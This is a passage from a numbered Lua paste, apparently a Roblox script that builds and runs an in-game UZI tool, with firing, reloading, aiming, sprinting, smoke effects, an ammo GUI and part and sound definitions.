  709. Hit_Part.Size = Vector3.new()
  710. Hit_Part.CFrame = CFrame.new(Pos) * CFrame.Angles(math.random(0, 360), math.random(0, 360), math.random(0, 360))
  711. Hit_Part.BrickColor = BrickColor.new("Black")
  712. game.Debris:AddItem(Hit_Part, Settings.ImpactDuration)
  713. if not Hit.Anchored then
  714. local w = Instance.new("Weld", Hit_Part)
  715. w.Part0 = Hit
  716. w.Part1 = Hit_Part
  717. w.C0 = Hit.CFrame:toObjectSpace(Hit_Part.CFrame)
  718. Hit_Part.Anchored = false
  719. end
  720. if Hit.Parent:IsA("Hat") and Settings.DropHats then
  721. Hit.Parent.Parent = workspace
  722. game.Debris:AddItem(Hit, 3)
  723. end
  724. end
  725. end
  726.  
  727. local Can_Shoot = true
  728. local Reloading = false
  729.  
  730. local First_Person = false
  731.  
  732. local Mouse_Held
  733.  
  734. Tool.Equipped:connect(function(Mouse)
  735. Equipped = true
  736. if Settings.Weld and not Welded then
  737. wait()
  738. Tool.Parent = Player.Backpack
  739. end
  740. Character = Player.Character
  741. if Gui then
  742. return
  743. end
  744. Ray_Ignore = {Character, Ignore_Model, Camera}
  745. Mouse.Icon = Settings.Icons.Idle
  746. Gui = script.Gui:Clone()
  747. Gui.Parent = Player.PlayerGui
  748. Gui.Frame.Position = UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, 1.1, Gui.Frame.Position.Y.Offset)
  749. Gui.Frame:TweenPosition(UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, Settings.GuiPos.Y, Gui.Frame.Position.Y.Offset), "Out", "Bounce", 1)
  750. CanUpdateGui = true
  751. Update_Gui()
  752. Mouse.Button1Down:connect(function()
  753. if Can_Shoot and Ammo.Value > 0 and Character.Humanoid.Health > 0 then
  754. Mouse_Held = true
  755. while true do
  756. Can_Shoot = false
  757. Delay(0, function()
  758. local t = math.min(Settings.FireMouseAnimTime/3, Settings.FireRate/3)
  759. if not Aiming then
  760. Mouse.Icon = Settings.Icons.Fire1
  761. end
  762. wait(t)
  763. if not Aiming then
  764. if Reloading then return end
  765. Mouse.Icon = Settings.Icons.Fire2
  766. end
  767. wait(t)
  768. if not Aiming then
  769. if Reloading then return end
  770. Mouse.Icon = Settings.Icons.Fire3
  771. end
  772. wait(t)
  773. if not Aiming then
  774. if Reloading then return end
  775. Mouse.Icon = Settings.Icons.Idle
  776. end
  777. end)
  778. if Settings.Smoke then
  779. for i, v in pairs(Settings.Smokes) do
  780. local s = v[1]:Clone()
  781. s.Parent = Settings.SmokePart
  782. s.Enabled = true
  783. game.Debris:AddItem(s, v[2])
  784. if v[3] then
  785. Delay(v[3], function()
  786. s.Enabled = false
  787. end)
  788. end
  789. end
  790. end
  791. for _ = 1, Settings.Bullets do
  792. Fire(Mouse)
  793. end
  794. Camera.CoordinateFrame = CFrame.new(Camera.Focus.p) * (Camera.CoordinateFrame - Camera.CoordinateFrame.p) * CFrame.Angles(math.abs(Settings.Recoil), 0, 0) * CFrame.new(0, 0, (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude)
  795. if Tool.Handle:FindFirstChild("Shoot") then
  796. Tool.Handle.Shoot:Play()
  797. end
  798. Ammo.Value = Ammo.Value - 1
  799. wait(Settings.FireRate)
  800. if not Settings.Automatic or Ammo.Value <= 0 or Character.Humanoid.Health <= 0 or not Mouse_Held then
  801. break
  802. end
  803. end
  804. Can_Shoot = true
  805. elseif Can_Shoot and Character.Humanoid.Health > 0 and Tool.Handle:FindFirstChild("Click") then
  806. Tool.Handle.Click:Play()
  807. end
  808. end)
  809. Mouse.Button1Up:connect(function()
  810. Mouse_Held = false
  811. end)
  812. Mouse.KeyDown:connect(function(Key)
  813. if Key:upper() == Settings.ReloadKey:upper() and Can_Shoot and StoredAmmo.Value > 0 and not Aiming then
  814. if Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo + 1 or not Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo then
  815. return
  816. end
  817. Can_Shoot = false
  818. Reloading = true
  819. local TextLabel = Gui.Frame.AmmoDisplay
  820. Delay(0, function()
  821. CanUpdateGui = false
  822. TextLabel.Text = "Reloading."
  823. wait(Settings.ReloadTime/3)
  824. if TextLabel then
  825. TextLabel.Text = "Reloading.."
  826. end
  827. wait(Settings.ReloadTime/3)
  828. if TextLabel then
  829. TextLabel.Text = "Reloading..."
  830. end
  831. end)
  832. if Tool.Handle:FindFirstChild("Reload") then
  833. Tool.Handle.Reload:Play()
  834. end
  835. Mouse.Icon = Settings.Icons.Reload
  836. wait(Settings.ReloadTime)
  837. Mouse.Icon = Settings.Icons.Idle
  838. CanUpdateGui = true
  839. local m = Settings.Ammo
  840. if Ammo.Value > 0 and Settings.IncludeChamberedBullet then
  841. m = m + 1
  842. end
  843. if (StoredAmmo.Value - (m - Ammo.Value)) <= 0 then
  844. Ammo.Value = Ammo.Value + StoredAmmo.Value
  845. StoredAmmo.Value = 0
  846. else
  847. StoredAmmo.Value = StoredAmmo.Value - (m - Ammo.Value)
  848. Ammo.Value = m
  849. end
  850. Can_Shoot = true
  851. Reloading = false
  852. elseif Key:upper() == Settings.SprintKey:upper() and Settings.Sprint and not Aiming then
  853. Sprinting = true
  854. Character.Humanoid.WalkSpeed = Settings.SprintSpeed
  855. Settings.Spread = Settings.Spread + Settings.SprintSpreadIncrease
  856. end
  857. end)
  858. Mouse.KeyUp:connect(function(Key)
  859. if Key:upper() == Settings.SprintKey:upper() and Sprinting then
  860. Sprinting = false
  861. Character.Humanoid.WalkSpeed = 16
  862. Settings.Spread = Settings.Spread - Settings.SprintSpreadIncrease
  863. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  864. end
  865. end)
  866. Mouse.Button2Down:connect(function()
  867. if not Reloading and not Sprinting and not Aiming and (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 then
  868. Aiming = true
  869. Mouse.Icon = Settings.Icons.Aim
  870. if Settings.AimAnim.Enabled then
  871. Right_Weld.C1 = CFrame.new()
  872. Right_Weld.C0 = CFrame.new()
  873. Delay(0, function()
  874. Tween_C0(Right_Weld, Settings.AimAnim.Frames, Settings.AimAnim.Time, Right_Weld.C0, Character.Head.CFrame:toObjectSpace(Settings.AimPart.CFrame))
  875. end)
  876. Delay(0, function()
  877. Tween_C1(Left_Weld, Settings.AimAnim.Frames, Settings.AimAnim.Time, Left_Weld.C1, Settings.LeftAimPos)
  878. end)
  879. Delay(0, function()
  880. if Settings.ChangeFOV[1] then
  881. Camera.FieldOfView = 70
  882. local Cam_Dif, T_F = 70 - Settings.ChangeFOV[2], Settings.AimAnim.Time * Settings.AimAnim.Frames
  883. for i = 1, T_F do
  884. local FOV = 70 - Cam_Dif/T_F * i
  885. Camera.FieldOfView = FOV
  886. wait(Settings.AimAnim.Time/Settings.AimAnim.Frames)
  887. if not Aiming then
  888. return
  889. end
  890. end
  891. Camera.FieldOfView = Settings.ChangeFOV[2]
  892. end
  893. end)
  894. else
  895. Right_Weld.C1 = CFrame.new()
  896. Right_Weld.C0 = CFrame.new()
  897. Right_Weld.C1 = Character.Head.CFrame:toObjectSpace(Settings.AimPart.CFrame)
  898. Left_Weld.C1 = Settings.LeftAimPos
  899. if Settings.ChangeFOV[1] then
  900. Camera.FieldOfView = Settings.ChangeFOV[2]
  901. end
  902. end
  903. Tool.GripPos = Orig_Grip + Settings.AimGripOffset
  904. Settings.Spread = Settings.Spread - Settings.SpreadReduction
  905. end
  906. end)
  907. Mouse.Button2Up:connect(function()
  908. if Aiming then
  909. Mouse.Icon = Settings.Icons.Idle
  910. Tool.GripPos = Orig_Grip
  911. if Settings.AimAnim.Enabled then
  912. Delay(0, function()
  913. Tween_C0(Right_Weld, Settings.AimAnim.Frames, Settings.AimAnim.Time, Right_Weld.C0, CFrame.new(0, -1.5, 0))
  914. end)
  915. Delay(0, function()
  916. Tween_C1(Left_Weld, Settings.AimAnim.Frames, Settings.AimAnim.Time, Left_Weld.C1, Settings.LeftPos)
  917. end)
  918. else
  919. Right_Weld.C1 = Settings.RightPos
  920. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  921. Left_Weld.C1 = Settings.LeftPos
  922. end
  923. if Settings.ChangeFOV[1] then
  924. Camera.FieldOfView = 70
  925. end
  926. Settings.Spread = Settings.Spread + Settings.SpreadReduction
  927. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  928. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  929. wait(0.25)
  930. Aiming = false
  931. end
  932. end)
  933. wait()
  934. Camera.Changed:connect(function()
  935. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
  936. Mouse.TargetFilter = workspace
  937. Character.Torso.Neck.C1 = CFrame.new()
  938. Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
  939. end
  940. end)
  941. Mouse.Idle:connect(function()
  942. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
  943. Mouse.TargetFilter = workspace
  944. Character.Torso.Neck.C1 = CFrame.new()
  945. Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
  946. end
  947. end)
  948. while wait() and Equipped do
  949. if Sprinting then
  950. Right_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
  951. Left_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
  952. elseif not Aiming then
  953. Left_Weld.C0 = CFrame.new(0, -1.5, 0)
  954. end
  955. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude > 1 and Equipped then
  956. Mouse.TargetFilter = nil
  957. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  958. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  959. end
  960. end
  961. end)
  962.  
  963. local Arms_Made
  964. local Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model
  965.  
  966. Tool.Equipped:connect(function(Mouse)
  967. if Character and not Arms_Made then
  968. Arms_Made = true
  969. local Torso = Character.Torso
  970. Torso["Right Shoulder"].Part1 = nil
  971. Left_Weld = Instance.new("Weld", Torso)
  972. Left_Weld.Name = "Left_Weld"
  973. Left_Weld.Part0 = Character.Head
  974. Left_Weld.C0 = CFrame.new(0, -1.5, 0)
  975. if not Settings.OneHanded then
  976. Torso["Left Shoulder"].Part1 = nil
  977. Left_Weld.Part1 = Character["Left Arm"]
  978. end
  979. Right_Weld = Instance.new("Weld", Torso)
  980. Right_Weld.Name = "Right_Weld"
  981. Right_Weld.Part0 = Character.Head
  982. Right_Weld.Part1 = Character["Right Arm"]
  983. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  984. Left_Weld.C1 = Settings.LeftPos
  985. Right_Weld.C1 = Settings.RightPos
  986. end
  987. if Settings.FakeArms and not Fake_Arm_Right then
  988. Fake_Arm_Right, Fake_Arm_Left = Character["Right Arm"]:Clone(), Character["Left Arm"]:Clone()
  989. Fake_Arm_Right.FormFactor, Fake_Arm_Left.FormFactor = "Custom", "Custom"
  990. Fake_Arm_Right.Size, Fake_Arm_Left.Size = Vector3.new(), Vector3.new()
  991. local fakeArms = {Fake_Arm_Right, Fake_Arm_Left}
  992. for i = 1, 2 do
  993. local w = Instance.new("Weld", fakeArms[i])
  994. w.Part0 = Character[fakeArms[i].Name]
  995. w.Part1 = fakeArms[i]
  996. fakeArms[i].Transparency = Settings.FakeArmTransparency
  997. end
  998. Fake_Arm_Model = Instance.new("Model", Camera)
  999. Fake_Arm_Right.Parent = Fake_Arm_Model
  1000. if not Settings.OneHanded then
  1001. Fake_Arm_Left.Parent = Fake_Arm_Model
  1002. end
  1003. Fake_Arm_Model.Name = "FakeArms"
  1004. if Settings.CharacterMeshes then
  1005. for i, v in pairs(Character:GetChildren()) do
  1006. if v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.LeftArm or v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.RightArm then
  1007. v:Clone().Parent = Fake_Arm_Model
  1008. end
  1009. end
  1010. end
  1011. if Character:FindFirstChild("Shirt") then
  1012. Instance.new("Humanoid", Fake_Arm_Model)
  1013. Character.Shirt:Clone().Parent = Fake_Arm_Model
  1014. else
  1015. local Arm_Mesh = Instance.new("SpecialMesh", Fake_Arm_Right)
  1016. Arm_Mesh.MeshType, Arm_Mesh.Scale = "Brick", Vector3.new(5, 10, 5)
  1017. local Arm_Mesh2 = Instance.new("SpecialMesh", Fake_Arm_Left)
  1018. Arm_Mesh2.MeshType, Arm_Mesh2.Scale = "Brick", Vector3.new(5, 10, 5)
  1019. end
  1020. end
  1021. end)
  1022.  
  1023. Tool.Unequipped:connect(function()
  1024. Equipped = false
  1025. Tool.GripPos = Orig_Grip
  1026. Aiming = false
  1027. Settings.Spread = Orig_Spread
  1028. if Settings.ChangeFOV[1] then
  1029. Camera.FieldOfView = 70
  1030. end
  1031. if Gui then
  1032. Gui:Destroy()
  1033. Gui = nil
  1034. end
  1035. for i, v in pairs(Tool.Handle:GetChildren()) do
  1036. if v:IsA("Sound") then
  1037. v:Stop()
  1038. end
  1039. end
  1040. if Fake_Arm_Right and Fake_Arm_Left and Fake_Arm_Model then
  1041. Fake_Arm_Model:Destroy()
  1042. Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model = nil, nil, nil
  1043. end
  1044. if Character and Left_Weld and Right_Weld then
  1045. Arms_Made = false
  1046. local Torso = Character.Torso
  1047. Torso["Right Shoulder"].Part1, Torso["Left Shoulder"].Part1 = Character["Right Arm"], Character["Left Arm"]
  1048. Left_Weld:Destroy()
  1049. Right_Weld:Destroy()
  1050. end
  1051. Sprinting = false
  1052. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1053. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1054. Character.Humanoid.WalkSpeed = 16
  1055. end)
  1056.  
  1057. end))
  1058. NumberValue2.Name = "Ammo"
  1059. NumberValue2.Parent = LocalScript1
  1060. NumberValue2.Value = 30
  1061. NumberValue3.Name = "StoredAmmo"
  1062. NumberValue3.Parent = LocalScript1
  1063. NumberValue3.Value = 1000
  1064. Smoke4.Parent = LocalScript1
  1065. Smoke4.Size = 0.25
  1066. Smoke4.Color = Color3.new(0.372549, 0.372549, 0.372549)
  1067. Smoke4.Enabled = false
  1068. Smoke4.Opacity = 0.10000000149012
  1069. Smoke4.RiseVelocity = 10
  1070. Smoke4.Color = Color3.new(0.372549, 0.372549, 0.372549)
  1071. Smoke5.Name = "Smoke1"
  1072. Smoke5.Parent = LocalScript1
  1073. Smoke5.Size = 0.10000000149012
  1074. Smoke5.Color = Color3.new(1, 0.6, 0.2)
  1075. Smoke5.Enabled = false
  1076. Smoke5.Opacity = 0.40000000596046
  1077. Smoke5.RiseVelocity = 3
  1078. Smoke5.Color = Color3.new(1, 0.6, 0.2)
  1079. ScreenGui6.Name = "Gui"
  1080. ScreenGui6.Parent = LocalScript1
  1081. Frame7.Parent = ScreenGui6
  1082. Frame7.Transparency = 0.5
  1083. Frame7.Size = UDim2.new(0, 120, 0, 35)
  1084. Frame7.Position = UDim2.new(1, -150, 1, -44)
  1085. Frame7.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1086. Frame7.BackgroundTransparency = 0.5
  1087. Frame7.BorderSizePixel = 3
  1088. TextLabel8.Name = "AmmoDisplay"
  1089. TextLabel8.Parent = Frame7
  1090. TextLabel8.Transparency = 1
  1091. TextLabel8.Size = UDim2.new(1, 0, 1, 0)
  1092. TextLabel8.Text = ""
  1093. TextLabel8.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1094. TextLabel8.BackgroundTransparency = 1
  1095. TextLabel8.Font = Enum.Font.SourceSansBold
  1096. TextLabel8.FontSize = Enum.FontSize.Size24
  1097. TextLabel8.TextColor3 = Color3.new(0, 0, 0)
  1098. TextLabel8.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1099. TextLabel8.TextStrokeTransparency = 0.5
  1100. TextLabel8.TextXAlignment = Enum.TextXAlignment.Right
  1101. Frame9.Parent = ScreenGui6
  1102. Frame9.Transparency = 0.5
  1103. Frame9.Size = UDim2.new(0, 126, 0, 10)
  1104. Frame9.Position = UDim2.new(1, -153, 1, -62)
  1105. Frame9.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1106. Frame9.BackgroundTransparency = 0.5
  1107. Frame9.BorderSizePixel = 3
  1108. TextLabel10.Name = "Caliber"
  1109. TextLabel10.Parent = Frame9
  1110. TextLabel10.Transparency = 1
  1111. TextLabel10.Size = UDim2.new(1, 0, 1, 0)
  1112. TextLabel10.Text = "Made by 1ndrew"
  1113. TextLabel10.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1114. TextLabel10.BackgroundTransparency = 1
  1115. TextLabel10.Font = Enum.Font.SourceSansBold
  1116. TextLabel10.FontSize = Enum.FontSize.Size12
  1117. TextLabel10.TextColor3 = Color3.new(0, 0, 0)
  1118. TextLabel10.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1119. TextLabel10.TextStrokeTransparency = 0.5
  1120. TextLabel10.TextXAlignment = Enum.TextXAlignment.Right
  1121. Frame11.Parent = ScreenGui6
  1122. Frame11.Transparency = 0.5
  1123. Frame11.Size = UDim2.new(0, 126, 0, 40)
  1124. Frame11.Position = UDim2.new(1, -153, 1, -109)
  1125. Frame11.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1126. Frame11.BackgroundTransparency = 0.5
  1127. Frame11.BorderSizePixel = 3
  1128. TextLabel12.Name = "Accessories"
  1129. TextLabel12.Parent = Frame11
  1130. TextLabel12.Transparency = 1
  1131. TextLabel12.Size = UDim2.new(1, 0, 1, 0)
  1132. TextLabel12.Text = "UZI"
  1133. TextLabel12.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1134. TextLabel12.BackgroundTransparency = 1
  1135. TextLabel12.Font = Enum.Font.SourceSansBold
  1136. TextLabel12.FontSize = Enum.FontSize.Size14
  1137. TextLabel12.TextColor3 = Color3.new(0, 0, 0)
  1138. TextLabel12.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1139. TextLabel12.TextStrokeTransparency = 0.5
  1140. TextLabel12.TextXAlignment = Enum.TextXAlignment.Right
  1141. Part13.Name = "A1"
  1142. Part13.Parent = Tool0
  1143. Part13.Material = Enum.Material.Metal
  1144. Part13.Rotation = Vector3.new(-90, 0, 90)
  1145. Part13.Anchored = true
  1146. Part13.FormFactor = Enum.FormFactor.Custom
  1147. Part13.Size = Vector3.new(0.200000003, 0.333333194, 0.200000003)
  1148. Part13.CFrame = CFrame.new(144.445755, 3.96316195, 144.39093, 0, -1.00000012, -4.47034836e-08, 0, -4.47034836e-08, 1.00000012, -1, 0, -0)
  1149. Part13.BottomSurface = Enum.SurfaceType.Smooth
  1150. Part13.TopSurface = Enum.SurfaceType.Smooth
  1151. Part13.Position = Vector3.new(144.445755, 3.96316195, 144.39093)
  1152. Part13.Orientation = Vector3.new(-90, 90, 0)
  1153. BlockMesh14.Parent = Part13
  1154. BlockMesh14.Scale = Vector3.new(0.333333164, 1, 0.333333343)
  1155. BlockMesh14.Scale = Vector3.new(0.333333164, 1, 0.333333343)
  1156. Part15.Name = "A2"
  1157. Part15.Parent = Tool0
  1158. Part15.Material = Enum.Material.Metal
  1159. Part15.Rotation = Vector3.new(-90, 0, 90)
  1160. Part15.Anchored = true
  1161. Part15.FormFactor = Enum.FormFactor.Custom
  1162. Part15.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1163. Part15.CFrame = CFrame.new(144.512421, 3.99983001, 144.39093, 0, -1.00000012, -4.47034836e-08, 0, -4.47034836e-08, 1.00000012, -1, 0, -0)
  1164. Part15.BottomSurface = Enum.SurfaceType.Smooth
  1165. Part15.TopSurface = Enum.SurfaceType.Smooth
  1166. Part15.Position = Vector3.new(144.512421, 3.99983001, 144.39093)
  1167. Part15.Orientation = Vector3.new(-90, 90, 0)
  1168. BlockMesh16.Parent = Part15
  1169. BlockMesh16.Scale = Vector3.new(0.333333164, 0.333332688, 0.300000012)
  1170. BlockMesh16.Scale = Vector3.new(0.333333164, 0.333332688, 0.300000012)
  1171. Part17.Name = "A3"
  1172. Part17.Parent = Tool0
  1173. Part17.Material = Enum.Material.Metal
  1174. Part17.Rotation = Vector3.new(45.0099983, 0, 89.9899979)
  1175. Part17.Anchored = true
  1176. Part17.FormFactor = Enum.FormFactor.Custom
  1177. Part17.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1178. Part17.CFrame = CFrame.new(144.512421, 4.01983023, 144.417603, 0.000121635676, -1, 3.26611735e-05, 0.706995547, 6.28973139e-05, -0.707217932, 0.707217932, 0.000109106302, 0.706995547)
  1179. Part17.BottomSurface = Enum.SurfaceType.Smooth
  1180. Part17.TopSurface = Enum.SurfaceType.Smooth
  1181. Part17.Position = Vector3.new(144.512421, 4.01983023, 144.417603)
  1182. Part17.Orientation = Vector3.new(45.0099983, 0, 89.9899979)
  1183. BlockMesh18.Parent = Part17
  1184. BlockMesh18.Scale = Vector3.new(0.21999979, 0.333332688, 0.099999994)
  1185. BlockMesh18.Scale = Vector3.new(0.21999979, 0.333332688, 0.099999994)
  1186. Part19.Name = "A4"
  1187. Part19.Parent = Tool0
  1188. Part19.Material = Enum.Material.Metal
  1189. Part19.Rotation = Vector3.new(0.00999999978, 0.00999999978, 90)
  1190. Part19.Anchored = true
  1191. Part19.FormFactor = Enum.FormFactor.Custom
  1192. Part19.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1193. Part19.CFrame = CFrame.new(144.512436, 4.04811382, 144.431747, 5.03872361e-05, -1, 0.000121629339, 1, 5.0371953e-05, -0.0001257658, 0.0001257658, 0.00012163569, 1)
  1194. Part19.BottomSurface = Enum.SurfaceType.Smooth
  1195. Part19.TopSurface = Enum.SurfaceType.Smooth
  1196. Part19.Position = Vector3.new(144.512436, 4.04811382, 144.431747)
  1197. Part19.Orientation = Vector3.new(0.00999999978, 0.00999999978, 90)
  1198. BlockMesh20.Parent = Part19
  1199. BlockMesh20.Scale = Vector3.new(0.199999809, 0.333332688, 0.099999994)
  1200. BlockMesh20.Scale = Vector3.new(0.199999809, 0.333332688, 0.099999994)
  1201. Part21.Name = "A5"
  1202. Part21.Parent = Tool0
  1203. Part21.Material = Enum.Material.Metal
  1204. Part21.Rotation = Vector3.new(135.009995, -0.00999999978, 90)
  1205. Part21.Anchored = true
  1206. Part21.FormFactor = Enum.FormFactor.Custom
  1207. Part21.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1208. Part21.CFrame = CFrame.new(144.512421, 4.0198288, 144.364273, 3.26688423e-05, -1, -0.000121633653, -0.707173347, 6.28973139e-05, -0.70704025, 0.70704025, 0.000109106302, -0.707173347)
  1209. Part21.BottomSurface = Enum.SurfaceType.Smooth
  1210. Part21.TopSurface = Enum.SurfaceType.Smooth
  1211. Part21.Position = Vector3.new(144.512421, 4.0198288, 144.364273)
  1212. Part21.Orientation = Vector3.new(44.9899979, -179.98999, -89.9899979)
  1213. BlockMesh22.Parent = Part21
  1214. BlockMesh22.Scale = Vector3.new(0.21999979, 0.333332688, 0.099999994)
  1215. BlockMesh22.Scale = Vector3.new(0.21999979, 0.333332688, 0.099999994)
  1216. Part23.Name = "A6"
  1217. Part23.Parent = Tool0
  1218. Part23.Material = Enum.Material.Metal
  1219. Part23.Rotation = Vector3.new(-179.98999, -0.00999999978, 90)
  1220. Part23.Anchored = true
  1221. Part23.FormFactor = Enum.FormFactor.Custom
  1222. Part23.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1223. Part23.CFrame = CFrame.new(144.512421, 4.04811382, 144.350128, -5.03345073e-05, -1.00000012, -0.000121683712, -1.00000024, 5.03659248e-05, 0.0001257658, -0.000125557184, 0.000121548772, -1.00000024)
  1224. Part23.BottomSurface = Enum.SurfaceType.Smooth
  1225. Part23.TopSurface = Enum.SurfaceType.Smooth
  1226. Part23.Position = Vector3.new(144.512421, 4.04811382, 144.350128)
  1227. Part23.Orientation = Vector3.new(-0.00999999978, -179.98999, -90)
  1228. BlockMesh24.Parent = Part23
  1229. BlockMesh24.Scale = Vector3.new(0.199999809, 0.333332688, 0.099999994)
  1230. BlockMesh24.Scale = Vector3.new(0.199999809, 0.333332688, 0.099999994)
  1231. Part25.Name = "B1"
  1232. Part25.Parent = Tool0
  1233. Part25.Material = Enum.Material.Metal
  1234. Part25.Rotation = Vector3.new(-90, 0, 90)
  1235. Part25.Anchored = true
  1236. Part25.FormFactor = Enum.FormFactor.Custom
  1237. Part25.Size = Vector3.new(0.200000003, 0.233333394, 0.200000003)
  1238. Part25.CFrame = CFrame.new(143.969604, 3.896559, 144.437607, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  1239. Part25.BottomSurface = Enum.SurfaceType.Smooth
  1240. Part25.TopSurface = Enum.SurfaceType.Smooth
  1241. Part25.Position = Vector3.new(143.969604, 3.896559, 144.437607)
  1242. Part25.Orientation = Vector3.new(-90, 90, 0)
  1243. BlockMesh26.Parent = Part25
  1244. BlockMesh26.Scale = Vector3.new(0.533333302, 1, 0.799999893)
  1245. BlockMesh26.Scale = Vector3.new(0.533333302, 1, 0.799999893)
  1246. Part27.Name = "SmokePart"
  1247. Part27.Parent = Tool0
  1248. Part27.Material = Enum.Material.Metal
  1249. Part27.BrickColor = BrickColor.new("Bright orange")
  1250. Part27.Transparency = 1
  1251. Part27.Rotation = Vector3.new(-90, 0, -90)
  1252. Part27.Anchored = true
  1253. Part27.FormFactor = Enum.FormFactor.Custom
  1254. Part27.Size = Vector3.new(0.200000003, 0.500000119, 0.233333305)
  1255. Part27.CFrame = CFrame.new(145.96965, 3.83471799, 144.39093, 0, 1.00000083, 1.49011612e-08, 0, -1.49011612e-08, 1.00000083, 1, 0, 0)
  1256. Part27.BottomSurface = Enum.SurfaceType.Smooth
  1257. Part27.TopSurface = Enum.SurfaceType.Smooth
  1258. Part27.Color = Color3.new(0.854902, 0.521569, 0.254902)
  1259. Part27.Position = Vector3.new(145.96965, 3.83471799, 144.39093)
  1260. Part27.Orientation = Vector3.new(-90, -90, 0)
  1261. Part27.Color = Color3.new(0.854902, 0.521569, 0.254902)
  1262. SpecialMesh28.Parent = Part27
  1263. SpecialMesh28.Scale = Vector3.new(1.99999976, 2, 2)
  1264. SpecialMesh28.MeshType = Enum.MeshType.Sphere
  1265. SpecialMesh28.Scale = Vector3.new(1.99999976, 2, 2)
  1266. Smoke29.Parent = Part27
  1267. Smoke29.Color = Color3.new(0.2, 0.2, 0.2)
  1268. Smoke29.Enabled = false
  1269. Smoke29.RiseVelocity = 2
  1270. Smoke29.Color = Color3.new(0.2, 0.2, 0.2)
  1271. Part30.Name = "hello"
  1272. Part30.Parent = Tool0
  1273. Part30.Material = Enum.Material.Metal
  1274. Part30.BrickColor = BrickColor.new("Dark stone grey")
  1275. Part30.Rotation = Vector3.new(0, -90, 0)
  1276. Part30.Anchored = true
  1277. Part30.FormFactor = Enum.FormFactor.Custom
  1278. Part30.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1279. Part30.CFrame = CFrame.new(144.086899, 3.66545701, 144.39093, 0, 6.29127026e-05, -1, 0, 1, 6.29127026e-05, 1, 0, -0)
  1280. Part30.BottomSurface = Enum.SurfaceType.Smooth
  1281. Part30.TopSurface = Enum.SurfaceType.Smooth
  1282. Part30.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1283. Part30.Position = Vector3.new(144.086899, 3.66545701, 144.39093)
  1284. Part30.Orientation = Vector3.new(0, -90, 0)
  1285. Part30.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1286. BlockMesh31.Parent = Part30
  1287. BlockMesh31.Scale = Vector3.new(0.299999982, 0.433333337, 0.100000009)
  1288. BlockMesh31.Scale = Vector3.new(0.299999982, 0.433333337, 0.100000009)
  1289. Sound32.Name = "M2"
  1290. Sound32.Parent = Part30
  1291. Sound32.SoundId = "http://roblox.com/asset/?id=10209636"
  1292. Sound32.Volume = 1
  1293. Sound32.PlayOnRemove = true
  1294. Sound33.Name = "M3"
  1295. Sound33.Parent = Part30
  1296. Sound33.Pitch = 2
  1297. Sound33.SoundId = "http://roblox.com/asset/?id=10209834"
  1298. Sound33.Volume = 1
  1299. Sound33.PlayOnRemove = true
  1300. Sound34.Name = "M4"
  1301. Sound34.Parent = Part30
  1302. Sound34.Pitch = 3
  1303. Sound34.SoundId = "http://roblox.com/asset/?id=10209834"
  1304. Sound34.Volume = 1
  1305. Sound34.PlayOnRemove = true
  1306. Sound35.Name = "M1"
  1307. Sound35.Parent = Part30
  1308. Sound35.Pitch = 0.75
  1309. Sound35.SoundId = "http://roblox.com/asset/?id=10209834"
  1310. Sound35.Volume = 1
  1311. Sound35.PlayOnRemove = true
  1312. Sound36.Name = "Fire"
  1313. Sound36.Parent = Part30
  1314. Sound36.Pitch = 2
  1315. Sound36.SoundId = "http://www.roblox.com/asset/?id=2692477"
  1316. Sound36.Volume = 1
  1317. Part37.Name = "Mag"
  1318. Part37.Parent = Tool0
